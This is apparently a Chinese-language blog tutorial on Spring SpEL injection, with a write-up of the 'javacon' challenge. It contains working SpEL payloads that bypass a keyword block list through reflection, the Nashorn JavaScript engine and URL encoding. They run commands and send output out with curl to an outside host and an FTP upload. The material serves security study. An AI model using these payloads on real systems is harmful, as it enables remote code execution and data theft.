SpEL注入漏洞

何为SpEL表达式

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

SpEL使用方式

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

SpEL主要接口

  • ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
  • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
  • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

SpEL语法——类相关表达式

类类型表达式 T(Type)

使用”T(Type)”来表示 java.lang.Class 实例,”Type”必须是类全限定名,”java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ExpressionParser parser = new SpelExpressionParser();
// java.lang 包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1);
//其他包类访问
String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
System.out.println(result2);
//类静态字段访问
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
System.out.println(result3);
//类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
System.out.println(result4);

类实例化

类实例化同样使用 java 关键字「new」,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer。

instanceof 表达式

SpEL 支持 instanceof 运算符,跟 Java 内使用同义;如”‘haha’ instanceof T(String)”将返回 true。

变量定义以及引用

变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义;在表达式中使用”#variableName”引用;除了引用自定义变量,SpE 还允许引用根对象及当前上下文对象,使用”#root”引用根对象,使用”#this”引用当前上下文对象;

自定义函数

目前只支持类静态方法注册为自定义函数;SpEL 使用 StandardEvaluationContext 的registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。

检测方法

全局搜索org.springframework.expression.spel.standardexpression.getValue()expression.setValue(),再分析代码中传入的参数是否可控。

javacon题目分析

本题来自P牛code-breaking中的一道Java题,名为javacon,题目知识点为SpEL注入,这里记下相关笔记。

题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

本地运行:java -jar challenge-0.0.1-SNAPSHOT.jar

访问页面,是个登录界面,请求参数带有jsessionid,其是在cookie的属性 :

随意输入,会提示“登陆失败,用户名或者密码错误!”。

Java题目,一般都是从代码审计入手,用IDEA打开该jar包,主要看/BOOT-INF/classes目录下的文件即可,发现存在一个application.yml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1

该文件分了3个模块,spring模块定义了HTML模板、UTF-8编码以及无缓存;keywords定义了黑名单,过滤了“java.lang”、“Runtime”、“exec.(”等;user模块定义了用户名和密码,还有一个记住我的值。

Spring框架的关键在于Controller,看到MainController.class,其中定义了ExpressionParser属性,该属性在getAdvanceValue()函数中会调用来解析字符串内容,由此可知getAdvanceValue()函数是SpEL注入的触发点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Controller
public class MainController {
ExpressionParser parser = new SpelExpressionParser();
...

private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}

ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}

再看看哪里调用的getAdvanceValue()函数,发现是在admin()函数中调用了,传递的参数是username的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}

Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}

...

@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}

return "redirect:/";
} else {
return "redirect:/login-error";
}
}

这里研究一下怎么控制这个username的值,先看注解为”/login”的login()函数,其传入3个参数,第三个remember-me为非必须的,在第一个if语句即判断username和password是否是正确的,是则通过调用session.setAttribute("username")来设置session中的username值,再判断remember-me的值进行设置,然后重定向到主页面,否则登录失败直接返回错误信息。也就是说,这里是没办法进行SpEL注入的,因为username和password都写不正确如何进入后面的逻辑呢?

再来看看主页面的代码逻辑即注解为“@GetMapping”的admin()函数。先判断remember-me是否为空,为空时直接调用session.getAttribute("username");获取session中即login()函数中设置的username再调用getAdvanceValue()函数,此时因为username是正确的用户名因此无法SpEL注入;若rememberMeValue不为空即login时选择了remember-me,则解码rememberMeValue值为username并通过调用session.setAttribute("username")来设置session中的username值,此时的username就可控了。

那么注入点的场景已经可以确定了:输入admin/admin并勾选remember-me选项登录后台,然后再修改cookie内容即可。

先登录到admin界面,看到会设置Cookie字段值为remember-me=MXPUSANQRVaBJYtUucUgmQ==

直接调用或复制加密代码,在它的代码中找到几个参数然后传进加密处理,执行完毕结果和Cookie字段值的base64结果一致:

行吧,那就将变量value从admin改为Mi1k7ea试试,得到加密值为4Hd10g7CuZZg5M1up1GExg==,放到cookie中发送报文,可以看到admin修改为Mi1k7ea,说明这里即为SpEL注入点:

构造payload

开始网上搜的一大堆SpEL注入exp无法利用,因为这里使用了黑名单过滤了java.langRuntimeexec(

尝试了使用ProcessBuilder().start()来绕过,但是没利用成功。

后面参考了一篇wp,发现可以用Java的反射机制来绕过,具体绕过原理是因为通过反射机制的forName()和getMethod()等方法,其参数是字符串因此可通过字符串拼接的方式来绕过黑名单。

Windows场景

本地弹计算器

常见的payload:

1
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

注意,以new String[]{"cmd","/C","xx"}这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}

payload如下:

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

加密后发送过去,SpEL注入成功:

回带flag

这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}

但是在Windows上这段代码不能将命令执行带回来,因为Windows中cmd不会解析反引号,只会将命令原封不动地返回过来:

既然这样,就使用curl的-T参数往外上传文件,然后通过ftp接收即可:

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl -T flag.txt ftp://192.168.248.1/"})}

发送编码后的payload,在目标FTP端看到接收的文件,收到上传flag.txt:

Linux场景

一般题目环境为Linux,这里直接换如下命令即可,其中curl命令可直接结合反引号使用,中间加上base64命令将所有结果编码以便于可以带回所有内容而非只有第一行结果,最后tr命令将结果中的换行符换为-以便于后面解码的使用:

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`"})}

JavaScript引擎Bypass

在Java 1.8之后,Nashorn取代了Rhino(Java 1.6/1.7)成为Java的嵌入式JavaScript引擎。

也就是说,可以通过Java调用该JS引擎,然后通过JS引擎调用eval()来执行Java代码。

基本payload

基本Payload示例如下:

1
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)}

要想在本题执行命令,需要结合前面构造的反射机制来实现:

1
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)}

URL编码

前面的payload有点麻烦,感觉多此一举,这里我们可以升级一下payload,进行URL编码,可以绕过一些过滤机制,并无需结合反射机制:

1
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)}

其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream(),不加最后的getInputStream()也行,只是为了后面回显铺垫。

在这道题可以成功Bypass黑名单实现SpEL注入:

添加回显

增加回显的payload如下,其中URL编码内容为java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()

1
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}

访问直接得到命令执行结果:

参考

Code-Breaking Puzzles — javacon WriteUp

Java代码审计之SpEL表达式注入